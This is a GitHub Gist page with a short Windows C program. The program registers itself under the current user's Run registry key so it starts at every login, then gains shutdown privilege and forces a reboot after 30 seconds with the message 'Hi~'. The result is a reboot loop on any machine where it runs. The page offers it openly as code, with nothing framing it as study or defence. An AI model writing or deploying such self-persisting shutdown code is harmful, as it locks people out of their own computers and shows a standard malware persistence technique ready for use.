Last active
October 17, 2016 06:14
-
-
Save s3131212/8598426 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#pragma comment(lib, "advapi32.lib") | |
BOOL ShutdownSystem(LPTSTR lpMsg){ | |
HANDLE hToken; // handle to process token | |
TOKEN_PRIVILEGES tkp; // pointer to token structure | |
BOOL fResult; // system shutdown flag | |
// Get the current process token handle so we can get shutdown | |
// privilege. | |
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) | |
return FALSE; | |
// Get the LUID for shutdown privilege. | |
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, | |
&tkp.Privileges[0].Luid); | |
tkp.PrivilegeCount = 1; // one privilege to set | |
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
// Get shutdown privilege for this process. | |
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0); | |
// Cannot test the return value of AdjustTokenPrivileges. | |
if (GetLastError() != ERROR_SUCCESS) | |
return FALSE; | |
// Display the shutdown dialog box and start the countdown. | |
fResult = InitiateSystemShutdown( | |
NULL, // shut down local computer | |
lpMsg, // message for user | |
30, // time-out period, in seconds | |
FALSE, // ask user to close apps | |
TRUE); // reboot after shutdown | |
if (!fResult) | |
return FALSE; | |
// Disable shutdown privilege. | |
tkp.Privileges[0].Attributes = 0; | |
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, | |
(PTOKEN_PRIVILEGES) NULL, 0); | |
return TRUE; | |
} | |
void RegisterAutoRun(void){ | |
TCHAR szPath[MAX_PATH]; | |
GetModuleFileName(NULL, szPath, MAX_PATH); | |
HKEY newValue; | |
RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &newValue); | |
RegSetValueEx(newValue, "name_me", 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath)); | |
RegCloseKey(newValue); | |
} | |
int main(void){ | |
RegisterAutoRun(); | |
ShutdownSystem("Hi~"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment